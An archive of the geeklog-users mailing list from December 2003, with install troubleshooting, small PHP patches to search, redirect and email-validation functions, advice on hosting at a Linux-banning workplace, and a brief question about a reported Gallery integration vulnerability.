From jeltsch at csc.fi  Tue Dec  2 05:27:48 2003
From: jeltsch at csc.fi (Michael Jeltsch)
Date: Tue, 2 Dec 2003 12:27:48 +0200
Subject: [geeklog-users] Unable to change Admin password after fresh install
Message-ID: <200312021227.48512.jeltsch@csc.fi>

Dear All,
I installed geelog-1.3.8-1sr2 freshly on Suse 9. I had to chmod -R 777 /srv/
www/htdocs/images/userphotos and  /srv/www/htdocs/images/articles in order 
not to get any error messages. The installation works fine and from the 
success.php script I try to log in as Admin/password. That succeeds but when 
I try to change the password into anything else than "password" I am thrown 
into the main page (index.php) without error message or confirmation that the 
action succeeded. I can see that "Admin" is still logged in at that point 
(and I am obviously a guest again). From that on, it is impossible to log in 
as Admin or Moderator (using both the new or old password).
I have been deleting the geeklog MySQL database and starting all over the 
install.php script. I also installed geeklog on Mac OS X and had exactly the 
same problem there. I wonder what I am missing here. 
Ideas are appreciated.
P.S.: I double checked all my paths and chmod-ed from 775 to 777 those paths 
that are mentioned as sometimes problematic. 
-- 
Michael Jeltsch
Molecular/Cancer Biology Lab
+358-9-19125514
jeltsch at csc.fi
http://jeltsch.org
icq 135789835




From e at marinx.com  Tue Dec  2 13:17:32 2003
From: e at marinx.com (ed)
Date: Tue, 2 Dec 2003 10:17:32 -0800
Subject: [geeklog-users] RE: Unable to change Admin password after
In-Reply-To: <20031202180011.12162.58295.Mailman@internal.iowaoutdoors.org>
Message-ID: <MOEKJNLIEMDOKODEIGGKEEFBGCAA.e@marinx.com>

Regarding your password problem, I would check
 - cookies
   Try wiping out any cookies and reloading in browser
 - safari or IE permissions
   make sure your scripting permissions are ok
 - MySQL  MD5
   try to reset the password to a new one manually in MySQL (use PHP MySQL
Admin)
   Make sure that the dropdown for type is set to MD5

: From: Michael Jeltsch <jeltsch at csc.fi>
: Subject: [geeklog-users] Unable to change Admin password after
: I try to change the password into anything else than "password" I
: am thrown
: into the main page (index.php) without error message or
: confirmation that the
: action succeeded. I can see that "Admin" is still logged in at that point
: (and I am obviously a guest again). From that on, it is
: impossible to log in



From dchaparro at bell.mine.nu  Thu Dec  4 15:42:37 2003
From: dchaparro at bell.mine.nu (Diego Chaparro)
Date: Thu, 04 Dec 2003 21:42:37 +0100
Subject: [geeklog-users] Posting via email?
Message-ID: <1070570556.1676.99.camel@pikachu.casa>

	Hi all,

	Is it possible to post a story via email in geeklog? Is it some way to
do that?

Thanks.

-- 
Diego Chaparro Gonz?lez. 
Grupo de Sistemas y Comunicaciones.
Universidad Rey Juan Carlos.
C/ Tulipan s/n - 28933 M?stoles (Spain)
dchaparro at gsyc.escet.urjc.es



From tony at tonybibbs.com  Thu Dec  4 16:06:56 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Thu, 04 Dec 2003 15:06:56 -0600
Subject: [geeklog-users] Posting via email?
In-Reply-To: <1070570556.1676.99.camel@pikachu.casa>
References: <1070570556.1676.99.camel@pikachu.casa>
Message-ID: <3FCFA1F0.2000009@tonybibbs.com>

Not natively.  However, my question is do you want users to be able to 
submit stories to the submission queue in Geeklog by email or 
Administrators to be able to submit stories to directly into Geeklog by 
email.

I have this sendmail based email connector code (all php-based) that 
provides the framework needed to interface any PHP application with 
email.  It would take a bit of explaining but you can see what I am 
talking about here:

http://cvs.geeklog.net/chora/cvs.php/email_connector

--Tony

Diego Chaparro wrote:
> 	Hi all,
> 
> 	Is it possible to post a story via email in geeklog? Is it some way to
> do that?
> 
> Thanks.
> 



From dchaparro at bell.mine.nu  Thu Dec  4 23:03:08 2003
From: dchaparro at bell.mine.nu (Diego Chaparro)
Date: Fri, 05 Dec 2003 05:03:08 +0100
Subject: [geeklog-users] Posting via email?
In-Reply-To: <3FCFA1F0.2000009@tonybibbs.com>
References: <1070570556.1676.99.camel@pikachu.casa>
	 <3FCFA1F0.2000009@tonybibbs.com>
Message-ID: <1070596988.1678.545.camel@pikachu.casa>

On Thu, 2003-12-04 at 22:06, Tony Bibbs wrote:
> Not natively.  However, my question is do you want users to be able to 
> submit stories to the submission queue in Geeklog by email or 
> Administrators to be able to submit stories to directly into Geeklog by 
> email.
> 
> I have this sendmail based email connector code (all php-based) that 
> provides the framework needed to interface any PHP application with 
> email.  It would take a bit of explaining but you can see what I am 
> talking about here:
> 
> http://cvs.geeklog.net/chora/cvs.php/email_connector

	It is a great job, it is what i needed. I've tested and it works
perfectly.

	Thank you Tony.

-- 
Diego Chaparro Gonz?lez. 
Grupo de Sistemas y Comunicaciones.
Universidad Rey Juan Carlos.
C/ Tulipan s/n - 28933 M?stoles (Spain)
dchaparro at gsyc.escet.urjc.es



From macosx at rocteur.cc  Sat Dec  6 04:01:05 2003
From: macosx at rocteur.cc (Jerry Rocteur)
Date: Sat, 6 Dec 2003 10:01:05 +0100
Subject: [geeklog-users] Cygwin and Geeklog
Message-ID: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>

Hi,

IT security at work found I was using Linux to host a Geeklog 
documentation server and with great chagrin, I had to switch it off. NO 
LINUX ALLOWED.

So I'm toying with what I could do..

I can think of two options, I install Geeklog on a Sun Workstation, 
that I know has apache and I have access to that, I have no root access 
and as yet I've not identified if they have PHP or not.. (this all 
happened suddenly when my bosses boss escorted me to the IT Security 
managers office) Or I install Cygwin on my laptop and try and get it 
running there.

I kind of like having all the power so I thought Cygwin may be the way 
to go.. I'm not sure how long I will be allowed access to the Solaris 
Workstation, could be forever, could end anytime.

 From your experiences, what would you recommend.. Or can you think of 
another option ?

I'm sorry for this strange post but I'm going to be lost without my 
Geeklog at work..

Thanks in advance for any suggestions.. Changing contracts is not an 
option at the moment !

Jerry



From dirk at haun-online.de  Sat Dec  6 05:26:31 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Sat, 6 Dec 2003 11:26:31 +0100
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
References: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
Message-ID: <20031206102631.23396@smtp.haun-online.de>

Jerry,

> Or can you think of another option ?

How about installing Apache for Windows? Even IIS should work.

Many people are running Geeklog on Windows, but AFAIK, you don't need
Cygwin to do that. There are a lot of pre-configured Windows/Apache/
MySQL/PHP packages around, just search for "WAMP".

bye, Dirk


-- 
http://www.haun-online.de/
http://www.haun.info/



From macosx at rocteur.cc  Sat Dec  6 07:39:20 2003
From: macosx at rocteur.cc (Jerry Rocteur)
Date: Sat, 6 Dec 2003 13:39:20 +0100
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <20031206102631.23396@smtp.haun-online.de>
Message-ID: <36947162-27E9-11D8-B222-003065E76B5E@rocteur.cc>

Hi Dirk,

I hate Windows, I'm a Mac OS X and SUSE Linux user.. I just have to use 
Windows at work as I have NO option..

If it comes to having to do it with Windows I'll do it with Solaris and 
if I can't with Solaris I'll convert my tables to text, strip the HTML 
and do it with pure SQL..

I would rather give up computing that to have to tinker with Windows!


Thanks anyway,

Jerry
On Saturday, Dec 6, 2003, at 11:26 Europe/Brussels, Dirk Haun wrote:

> Jerry,
>
>> Or can you think of another option ?
>
> How about installing Apache for Windows? Even IIS should work.
>
> Many people are running Geeklog on Windows, but AFAIK, you don't need
> Cygwin to do that. There are a lot of pre-configured Windows/Apache/
> MySQL/PHP packages around, just search for "WAMP".
>
> bye, Dirk
>
>
> -- 
> http://www.haun-online.de/
> http://www.haun.info/
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users
>



From herzog at uhhh.org  Sat Dec  6 10:54:26 2003
From: herzog at uhhh.org (herzog at uhhh.org)
Date: Sat, 6 Dec 2003 09:54:26 -0600 (CST)
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
References: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
Message-ID: <Pine.LNX.4.53.0312060952590.25256@runt.uhhh.org>

>>On Sat, 6 Dec 2003, Jerry Rocteur wrote:
> IT security at work found I was using Linux to host a Geeklog
> documentation server and with great chagrin, I had to switch it off. NO
> LINUX ALLOWED.

If there is a decent business need for the documentation server, why not
work WITH the IT security team and either your UNIX or Win admin teams to
find a place for it that would be supported by them??

-- 
Larry Herzog Jr.        "Do nothing out of selfish ambition or vain
VROC #11489              conceit, but in humility consider others
herzog at uhhh.org          better than yourselves." - Philippians 2:3


From karkoma at karkomaonline.com  Sat Dec  6 11:13:06 2003
From: karkoma at karkomaonline.com (kko)
Date: Sat, 06 Dec 2003 17:13:06 +0100
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
References: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
Message-ID: <1070727186.2990.16.camel@martinika>

On Sat, 2003-12-06 at 10:01, Jerry Rocteur wrote:
> Hi,
> 
> IT security at work found I was using Linux to host a Geeklog 
> documentation server and with great chagrin, I had to switch it off. NO 
> LINUX ALLOWED.
> ...

Cygwin could be a good alternative but unfortunately I have no
experience... What about hosting your GL, say, at http://www.csoft.net/?

Regards.
Alberto.

-- 

postmaster at karkomaonline.com
KarKomaOnline
_____________



From wfz at wfzimmerman.com  Sat Dec  6 13:47:09 2003
From: wfz at wfzimmerman.com (W. Frederick Zimmerman)
Date: Sat, 6 Dec 2003 13:47:09 -0500
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <Pine.LNX.4.53.0312060952590.25256@runt.uhhh.org>
Message-ID: <E1AShSh-0001r4-00@razorbill.mail.pas.earthlink.net>

Watch out for yourself, jerry. The trip to it sounds like classic co
corporate pigeon holing you as someone who doesn't understand business. 

-----Original Message-----
From: geeklog-users-admin at lists.geeklog.net
[mailto:geeklog-users-admin at lists.geeklog.net] On Behalf Of herzog at uhhh.org
Sent: Saturday, December 06, 2003 10:54 AM
To: geeklog-users at lists.geeklog.net
Subject: Re: [geeklog-users] Cygwin and Geeklog

>>On Sat, 6 Dec 2003, Jerry Rocteur wrote:
> IT security at work found I was using Linux to host a Geeklog
> documentation server and with great chagrin, I had to switch it off. NO
> LINUX ALLOWED.

If there is a decent business need for the documentation server, why not
work WITH the IT security team and either your UNIX or Win admin teams to
find a place for it that would be supported by them??

-- 
Larry Herzog Jr.        "Do nothing out of selfish ambition or vain
VROC #11489              conceit, but in humility consider others
herzog at uhhh.org          better than yourselves." - Philippians 2:3
_______________________________________________
geeklog-users mailing list
geeklog-users at lists.geeklog.net
http://lists.geeklog.net/listinfo/geeklog-users





From lgonze at panix.com  Sat Dec  6 15:48:48 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Sat, 6 Dec 2003 15:48:48 -0500
Subject: [geeklog-users] bug fix in search.php
Message-ID: <9749CD4E-282D-11D8-BE85-000393455590@panix.com>

In search.php, the code tests mode to see if it's 'search':
if ($HTTP_GET_VARS['mode'] == 'search' ) {
     $display .= $searchObj->doSearch();
} else {
     $display .= $searchObj->showForm();
}

But if the search was submitted via searchform.html (my own version of 
this was cannibalized from the Yahoo theme), the mode variable will be 
'Search' rather than 'search'.

One possible fix is to do the test case-insensitive.  However that 
wouldn't catch situations where the text had been translated.  A more 
dependable fix is to look for the 'query' variable instead:

if (!empty($HTTP_GET_VARS['query']) ) {
     $display .= $searchObj->doSearch();
} else {
     $display .= $searchObj->showForm();
}

The new search.php would be:

require_once('lib-common.php');
require_once($_CONF['path_system'] . 'classes/search.class.php');

$display = COM_siteHeader();

$searchObj = new Search();

if ( !empty($HTTP_GET_VARS['query']) ) {
     $display .= $searchObj->doSearch();
} else {
     $display .= $searchObj->showForm();
}

$display .= COM_siteFooter();

echo $display;



From wmoens at sbb.ihe.be  Sun Dec  7 12:18:03 2003
From: wmoens at sbb.ihe.be (William Moens)
Date: Sun, 7 Dec 2003 18:18:03 +0100
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <Pine.LNX.4.53.0312060952590.25256@runt.uhhh.org>
References: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
 <Pine.LNX.4.53.0312060952590.25256@runt.uhhh.org>
Message-ID: <p06020408bbf910139de7@[10.0.1.9]>

>  >>On Sat, 6 Dec 2003, Jerry Rocteur wrote:
>>  IT security at work found I was using Linux to host a Geeklog
>>  documentation server and with great chagrin, I had to switch it off. NO
>>  LINUX ALLOWED.
>
>If there is a decent business need for the documentation server, why not
>work WITH the IT security team and either your UNIX or Win admin teams to
>find a place for it that would be supported by them??
>
>--
>Larry Herzog Jr.        "Do nothing out of selfish ambition or vain
>VROC #11489              conceit, but in humility consider others
>herzog at uhhh.org          better than yourselves." - Philippians 2:3
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users

Very productive advise, indeed. IT people are humble people worldwide 
known to consider others better than themselves. Accordingly, they 
will most probably propose the agreement you are suggesting.

William Moens


From gerard.godin at canada.com  Sun Dec  7 12:34:26 2003
From: gerard.godin at canada.com (ggodin)
Date: Sun, 07 Dec 2003 12:34:26 -0500
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <p06020408bbf910139de7@[10.0.1.9]>
References: <B99658DE-27CA-11D8-B222-003065E76B5E@rocteur.cc>
	 <Pine.LNX.4.53.0312060952590.25256@runt.uhhh.org>
	 <p06020408bbf910139de7@[10.0.1.9]>
Message-ID: <1070818466.2661.32.camel@oasis.desert.net>

On Sun, 2003-12-07 at 12:18, William Moens wrote:
> >  >>On Sat, 6 Dec 2003, Jerry Rocteur wrote:
> >>  IT security at work found I was using Linux to host a Geeklog
> >>  documentation server and with great chagrin, I had to switch it off. NO
> >>  LINUX ALLOWED.


I worked on a contract in a gov. dept once where I wasn't allowed to run
linux/samba on the network because it voided their support agreement
with Micro$oft. :(





From macosx at rocteur.cc  Sun Dec  7 12:37:36 2003
From: macosx at rocteur.cc (Jerry Rocteur)
Date: Sun, 7 Dec 2003 18:37:36 +0100
Subject: [geeklog-users] Cygwin and Geeklog
In-Reply-To: <p06020408bbf910139de7@[10.0.1.9]>
Message-ID: <0BB27060-28DC-11D8-B222-003065E76B5E@rocteur.cc>

On Sunday, Dec 7, 2003, at 18:18 Europe/Brussels, William Moens wrote:

>>  >>On Sat, 6 Dec 2003, Jerry Rocteur wrote:
>>>  IT security at work found I was using Linux to host a Geeklog
>>>  documentation server and with great chagrin, I had to switch it 
>>> off. NO
>>>  LINUX ALLOWED.
>>
>> If there is a decent business need for the documentation server, why 
>> not
>> work WITH the IT security team and either your UNIX or Win admin 
>> teams to
>> find a place for it that would be supported by them??
>>
>> --
>> Larry Herzog Jr.        "Do nothing out of selfish ambition or vain
>> VROC #11489              conceit, but in humility consider others
>> herzog at uhhh.org          better than yourselves." - Philippians 2:3
>> _______________________________________________
>> geeklog-users mailing list
>> geeklog-users at lists.geeklog.net
>> http://lists.geeklog.net/listinfo/geeklog-users
>
> Very productive advise, indeed. IT people are humble people worldwide 
> known to consider others better than themselves. Accordingly, they 
> will most probably propose the agreement you are suggesting.
>
Thanks for all the advice..

I've go a job ahead of me ;-))

Cheers,

Jerry



From lgonze at panix.com  Mon Dec  8 13:13:01 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 8 Dec 2003 13:13:01 -0500
Subject: [geeklog-users] com_Refresh
Message-ID: <2910E187-29AA-11D8-9707-000393455590@panix.com>

I need to ask about the reasoning behind this:

function COM_refresh( $url )
{
     return "<html><head><meta http-equiv=\"refresh\" content=\"0; 
URL=$url\"></head></html>\n";
}

This is broken in my site for reasons I don't yet understand.  One 
possible fix is to use the HTTP Location: header, but that brings up 
the issue of why you guys didn't do that in the first place.  My guess 
is that the Location: header led to bugs that I don't know about...  
Yes?




From lgonze at panix.com  Mon Dec  8 13:18:54 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 8 Dec 2003 13:18:54 -0500
Subject: [geeklog-users] Re: com_Refresh
In-Reply-To: <2910E187-29AA-11D8-9707-000393455590@panix.com>
Message-ID: <FB57E3A2-29AA-11D8-9707-000393455590@panix.com>

Doh.  The answer was in the function comment:

* This function COM_passes a meta tag to COM_refresh after a form is 
sent.  This is
* necessary because for some reason Nutscrape and PHP4 don't play well 
with
* the header() function COM_100% of the time.

On Monday, Dec 8, 2003, at 13:13 America/New_York, Lucas Gonze wrote:

> I need to ask about the reasoning behind this:
>
> function COM_refresh( $url )
> {
>     return "<html><head><meta http-equiv=\"refresh\" content=\"0; 
> URL=$url\"></head></html>\n";
> }
>
> This is broken in my site for reasons I don't yet understand.  One 
> possible fix is to use the HTTP Location: header, but that brings up 
> the issue of why you guys didn't do that in the first place.  My guess 
> is that the Location: header led to bugs that I don't know about...  
> Yes?
>
>



From dirk at haun-online.de  Mon Dec  8 13:23:46 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Mon, 8 Dec 2003 19:23:46 +0100
Subject: [geeklog-users] com_Refresh
In-Reply-To: <2910E187-29AA-11D8-9707-000393455590@panix.com>
References: <2910E187-29AA-11D8-9707-000393455590@panix.com>
Message-ID: <20031208182346.8633@smtp.haun-online.de>

Lucas,

>One 
>possible fix is to use the HTTP Location: header, but that brings up 
>the issue of why you guys didn't do that in the first place.  My guess 
>is that the Location: header led to bugs that I don't know about...  

I'm not too happy with that meta-refresh myself either, but so far, I
haven't really heard of any problems with it (apart from it being
inelegant ...).

AFAIR, there was a problem with old versions of Netscape (3? 4?) and the
Location: header. Which brings up the question if we should really care
any more.

bye, Dirk


-- 
http://www.haun-online.de/
http://geeklog.info/



From lgonze at panix.com  Mon Dec  8 14:00:33 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 8 Dec 2003 14:00:33 -0500
Subject: [geeklog-users] com_Refresh
In-Reply-To: <20031208182346.8633@smtp.haun-online.de>
Message-ID: <CCAE4266-29B0-11D8-9707-000393455590@panix.com>

The bug I was seeing (in the latest Firebird on OS X 10.2) was that the 
page wasn't refreshing.  I added code to COM_refresh to emit the 
location header as well as the HTML, then exit immediately to prevent 
other code from running and emitting bad data, and it works fine.  This 
breaks the general design principle of having routines return HTML, so 
YMMV.

function COM_refresh( $url )
{
   header("Location: $url");
   print "<html><head><meta http-equiv=\"refresh\" content=\"0; 
URL=$url\"></head></html>\n";
   exit;
}



From wjs357 at access4less.net  Mon Dec  8 23:33:32 2003
From: wjs357 at access4less.net (Walter Shudde)
Date: Mon, 8 Dec 2003 21:33:32 -0700
Subject: [geeklog-users] com_Refresh
References: <CCAE4266-29B0-11D8-9707-000393455590@panix.com>
Message-ID: <004201c3be0d$9c3a13d0$0100007f@localhost>

Forgive me for butting in on this thread, but what you are describing may be
the same problem I am experiencing.

I am new to Geeklog. I am not a programmer, nor do I know PHP or HTML, so if
my question seems ignorant, its because I am :)  If I am violating list
netiquette by jumping in off topic, just let me know.

Here's my problem in a nutshell: When I go from an Admin function and then
go to another function (eg. going from home page to an admin block and
back), theme info seems to get lost.  The page is displayed with different
colors (shades of green), a different font and no logos or other
icons/jpegs/gifs (a place holder appears where they would be). When I hit
the refresh button on my browser (Firebird 0.7), the page is refreshed
properly. I posted this problem on the GL Forum in the General Help section
on Dec. 2, but got no response. Is this the same problem you experience?  If
not, any ideas?

Thanks

----- Original Message ----- 
From: "Lucas Gonze" <lgonze at panix.com>
To: <geeklog-users at lists.geeklog.net>
Sent: Monday, December 08, 2003 12:00 PM
Subject: Re: [geeklog-users] com_Refresh


>
> The bug I was seeing (in the latest Firebird on OS X 10.2) was that the
> page wasn't refreshing.  I added code to COM_refresh to emit the
> location header as well as the HTML, then exit immediately to prevent
> other code from running and emitting bad data, and it works fine.  This
> breaks the general design principle of having routines return HTML, so
> YMMV.
>
> function COM_refresh( $url )
> {
>    header("Location: $url");
>    print "<html><head><meta http-equiv=\"refresh\" content=\"0;
> URL=$url\"></head></html>\n";
>    exit;
> }
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users
>



From lgonze at panix.com  Tue Dec  9 09:39:48 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Tue, 9 Dec 2003 09:39:48 -0500
Subject: [geeklog-users] com_Refresh
In-Reply-To: <004201c3be0d$9c3a13d0$0100007f@localhost>
Message-ID: <8A58A20C-2A55-11D8-9707-000393455590@panix.com>

Don't know what the cause is, Walter, but I don't think it's the same 
thing.  The fact that you're not seeing images implies to me that 
you're using relative URLs for them and the base URL has changed in an 
unexpected way, but that depends on your local set up.

- Lucas

On Monday, Dec 8, 2003, at 23:33 America/New_York, Walter Shudde wrote:

> Forgive me for butting in on this thread, but what you are describing 
> may be
> the same problem I am experiencing.
>
> I am new to Geeklog. I am not a programmer, nor do I know PHP or HTML, 
> so if
> my question seems ignorant, its because I am :)  If I am violating list
> netiquette by jumping in off topic, just let me know.
>
> Here's my problem in a nutshell: When I go from an Admin function and 
> then
> go to another function (eg. going from home page to an admin block and
> back), theme info seems to get lost.  The page is displayed with 
> different
> colors (shades of green), a different font and no logos or other
> icons/jpegs/gifs (a place holder appears where they would be). When I 
> hit
> the refresh button on my browser (Firebird 0.7), the page is refreshed
> properly. I posted this problem on the GL Forum in the General Help 
> section
> on Dec. 2, but got no response. Is this the same problem you 
> experience?  If
> not, any ideas?
>
> Thanks
>
> ----- Original Message -----
> From: "Lucas Gonze" <lgonze at panix.com>
> To: <geeklog-users at lists.geeklog.net>
> Sent: Monday, December 08, 2003 12:00 PM
> Subject: Re: [geeklog-users] com_Refresh
>
>
>>
>> The bug I was seeing (in the latest Firebird on OS X 10.2) was that 
>> the
>> page wasn't refreshing.  I added code to COM_refresh to emit the
>> location header as well as the HTML, then exit immediately to prevent
>> other code from running and emitting bad data, and it works fine.  
>> This
>> breaks the general design principle of having routines return HTML, so
>> YMMV.
>>
>> function COM_refresh( $url )
>> {
>>    header("Location: $url");
>>    print "<html><head><meta http-equiv=\"refresh\" content=\"0;
>> URL=$url\"></head></html>\n";
>>    exit;
>> }
>>
>> _______________________________________________
>> geeklog-users mailing list
>> geeklog-users at lists.geeklog.net
>> http://lists.geeklog.net/listinfo/geeklog-users
>>
>
> _______________________________________________
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> http://lists.geeklog.net/listinfo/geeklog-users
>



From track at trackspace.com  Tue Dec  9 10:11:17 2003
From: track at trackspace.com (Tim Trachimowicz)
Date: Tue, 9 Dec 2003 10:11:17 -0500
Subject: [geeklog-users] Installation errors...
Message-ID: <KHEAIEKJEBPKFPENLHALOELACEAA.track@trackspace.com>

I've been havign some problems installing the software.  I've checked and
double checked the PATH variables, syntax (including 's and ;s) permissions,
etc. and still get this error:

Parse error: parse error in /home/track/public_html/geeklog/config.php on
line 95

Warning: main(databases/.class.php): failed to open stream: No such file or
directory in /home/track/public_html/geeklog/system/lib-database.php on line
110

Fatal error: main(): Failed opening required 'databases/.class.php'
(include_path='.:/usr/lib/php:/usr/local/lib/php') in
/home/track/public_html/geeklog/system/lib-database.php on line 110

Anyone have any suggestions?

Thanks!

--Track



From wooge at axonz.com  Tue Dec  9 11:00:56 2003
From: wooge at axonz.com (wOOge)
Date: Tue, 9 Dec 2003 11:00:56 -0500
Subject: [geeklog-users] Installation errors...
In-Reply-To: <KHEAIEKJEBPKFPENLHALOELACEAA.track@trackspace.com>
References: <KHEAIEKJEBPKFPENLHALOELACEAA.track@trackspace.com>
Message-ID: <DFC2FD06-2A60-11D8-9569-00039319CE3C@axonz.com>

On 9-Dec-03, at 10:11 AM, Tim Trachimowicz wrote:

> I've been havign some problems installing the software.  I've checked 
> and
> double checked the PATH variables, syntax (including 's and ;s) 
> permissions,
> etc. and still get this error:
>
> Parse error: parse error in /home/track/public_html/geeklog/config.php 
> on
> line 95

What does line 95 look like in you'r config.php?




--
wOOge  |  http://www.axonz.com




From dirk at haun-online.de  Tue Dec  9 13:56:52 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Tue, 9 Dec 2003 19:56:52 +0100
Subject: [geeklog-users] Installation errors...
In-Reply-To: <KHEAIEKJEBPKFPENLHALOELACEAA.track@trackspace.com>
References: <KHEAIEKJEBPKFPENLHALOELACEAA.track@trackspace.com>
Message-ID: <20031209185652.28442@smtp.haun-online.de>

Tim,

>Parse error: parse error in /home/track/public_html/geeklog/config.php on
>line 95

Line 95 in the original config.php is the one where you can set your
site's slogan. Do you happen to have a quote sign in there? If so, you
need to escape it:

    $_CONF['site_slogan'] = 'Tim\'s Site';

Or, alternatively, enclose the slogan in double quotes:

    $_CONF['site_slogan'] = "Tim's Site";

bye, Dirk


-- 
http://www.haun-online.de/
http://www.macosx-faq.de/



From lgonze at panix.com  Tue Dec  9 15:43:45 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Tue, 9 Dec 2003 15:43:45 -0500
Subject: [geeklog-users] fix in COM_isemail
Message-ID: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com>

I added '+' character to the list of allowed chars in on the left side 
of an email address.  This permits email addresses like 
joe+geeklog at site.com, which some people use to flag the source of spam.

New code:
function COM_isemail( $email )
{
     if( eregi( 
"^([-_0-9a-z+])+([-._0-9a-z+])*@[0-9a-z+]([-.]?[0-9a-z])*.[a-z]{2,3}$", 
$email, $check ))
	  // was:
	  // if( eregi( 
"^([-_0-9a-z])+([-._0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,3}$", 
$email, $check ))
     {
         return TRUE;
     }
     else
     {
         return FALSE;
     }
}



From apthorpe+geeklog at cynistar.net  Tue Dec  9 16:43:42 2003
From: apthorpe+geeklog at cynistar.net (Bob Apthorpe)
Date: Tue, 9 Dec 2003 15:43:42 -0600 (CST)
Subject: [geeklog-users] fix in COM_isemail
In-Reply-To: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com>
References: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com>
Message-ID: <Pine.LNX.4.58.0312091511380.22579@soyokaze.cynistar.net>

Hi,

On Tue, 9 Dec 2003, Lucas Gonze wrote:

> I added '+' character to the list of allowed chars in on the left side
> of an email address.  This permits email addresses like
> joe+geeklog at site.com, which some people use to flag the source of spam.
>
> New code:
> function COM_isemail( $email )
> {
>      if( eregi(
> "^([-_0-9a-z+])+([-._0-9a-z+])*@[0-9a-z+]([-.]?[0-9a-z])*.[a-z]{2,3}$",
> $email, $check ))
> 	  // was:
> 	  // if( eregi(
> "^([-_0-9a-z])+([-._0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,3}$",
> $email, $check ))
>      {
>          return TRUE;
>      }
>      else
>      {
>          return FALSE;
>      }
> }

You can reduce your regex to:

"^[-_0-9a-z+]+[-._0-9a-z+]*@[0-9a-z+]([-.]?[0-9a-z])*.[a-z]{2,3}$",

I've stripped out some of the unnecessary parens. I'm not sure if you want
to allow addresses of the format +++++++ at example.com, but that's
technically allowed.

Here's what I'm using:

    if( eregi(
"^[-_0-9a-z][-_.0-9a-z]*\\+?[-_.0-9a-z]*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,6}$",
$email, $check))

Breaking it down, here's what it does:

"^[-_0-9a-z]		# starts with one of [-_0-9a-z]
[-_.0-9a-z]*		# followed by 0 or more of [-_.0-9a-z]
\\+?			# then 0 or 1 '+'
[-_.0-9a-z]*		# then 0 or more of [-_.0-9a-z]
@[0-9a-z]		# then '@' followed by one of [0-9a-z]
([-.]?[0-9a-z])*	# then 0 or more of ( 0 or 1 of [-.]
			# and 1 of [0-9a-z])
\\.			# a literal '.'
[a-z]{2,6}$"		# terminated with 2-6 of [a-z]

The major differences are that I only allow one '+' (technically you can
have more but most people only use one), the [something][otherthing]*
pattern is better behaved than [something]+[otherthing]* because the regex
engine doesn't backtrack as much (this matters when [something] and
[otherthing] are very similar; it's an efficiency tweak), and the TLD is
from 2-6 characters rather than 2-3, taking into account the new longer
TLDs .aero, .coop, and .museum (not that these matter much in practice but
they are legal.)

I still haven't found the time to implement a more robust email address
validator in PEAR's Mail module. Brave people should look at
http://www.faqs.org/rfcs/rfc822.html to see the pain involved in parsing
email addresses.

hth,

-- 
Bob Apthorpe


From jason at btiadmin.net  Tue Dec  9 17:18:04 2003
From: jason at btiadmin.net (Jason Signalness)
Date: Tue, 09 Dec 2003 16:18:04 -0600
Subject: [geeklog-users] Geeklog/Gallery vulnerability
Message-ID: <3FD64A1C.7030307@btiadmin.net>

Hello,

This article worries me a bit:
http://www.securityfocus.com/guest/24043

Have the issues addressed within it been resolved in any patch, etc, for 
Geeklog/Gallery?

The vulerability discussed allowed me to write arbitrary data to the 
server's hard disk, run all kinds of shell commands, and get the output 
back in my browser.  Worrying to be sure.

Thanks,
Jason



From dirk at haun-online.de  Tue Dec  9 17:32:34 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Tue, 9 Dec 2003 23:32:34 +0100
Subject: [geeklog-users] Geeklog/Gallery vulnerability
In-Reply-To: <3FD64A1C.7030307@btiadmin.net>
References: <3FD64A1C.7030307@btiadmin.net>
Message-ID: <20031209223234.9283@smtp.haun-online.de>

Jason,

>This article worries me a bit:
>http://www.securityfocus.com/guest/24043
[...]
>The vulerability discussed allowed me to write arbitrary data to the 
>server's hard disk, run all kinds of shell commands, and get the output 
>back in my browser.  Worrying to be sure.

Hmm, I've only skimmed the article yet but my first impression was that
it a) was "only" a problem of the Geeklog/Gallery integration (not of
Geeklog itself) and b) was "only" used to send spam.

I must have missed the bit about writing to the server's hard disk, but I
don't really have the time now to look into it. Can someone confirm if
this is "only" a problem with the Gallery integration?

bye, Dirk


-- 
http://www.haun-online.de/
http://www.tinyweb.de/



From jason at btiadmin.net  Tue Dec  9 17:43:26 2003
From: jason at btiadmin.net (Jason Signalness)
